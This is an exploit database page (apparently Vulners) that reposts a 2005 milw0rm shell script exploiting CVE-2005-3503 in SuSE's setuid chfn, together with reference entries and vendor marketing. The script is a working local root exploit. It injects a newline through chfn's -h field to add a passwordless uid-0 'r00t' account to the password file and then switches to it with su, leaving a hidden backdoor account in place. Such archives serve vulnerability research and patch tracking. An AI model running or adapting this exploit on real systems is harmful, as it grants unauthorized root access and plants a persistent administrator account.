Linux chfn (SuSE 9.3/10) - Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| Immunity Canvas: CHFNESCAPE | 5 Nov 200511:02 | – | canvas | |
| CVE-2005-3503 | 5 Nov 200511:00 | – | cve | |
| CVE-2005-3503 | 5 Nov 200511:00 | – | cvelist | |
| EUVD-2005-3502 | 7 Oct 202500:30 | – | euvd | |
| CVE-2005-3503 | 5 Nov 200511:02 | – | nvd | |
| SUSE CVE-2005-3503 | 15 Feb 202306:17 | – | susecve | |
| CVE-2005-3503 | 5 Nov 200511:02 | – | ubuntucve |
#!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
#
# by Hunger <[email protected]>
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
#
# hunger@suse:~> id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~> ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)
if [ X"$SHELL" = "X" ]; then
echo "No SHELL environment, using /bin/sh for default."
export SHELL=/bin/sh
fi
if [ -u /usr/bin/chfn ]; then
/bin/echo "Type your current password to get root... :)"
/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER > /dev/null
if [ -u /bin/su ]; then
/bin/su r00t
/bin/echo "You can get root again with 'su r00t'"
else
echo "/bin/su file is not setuid root :("
fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi
# milw0rm.com [2005-11-08]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 May 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.02838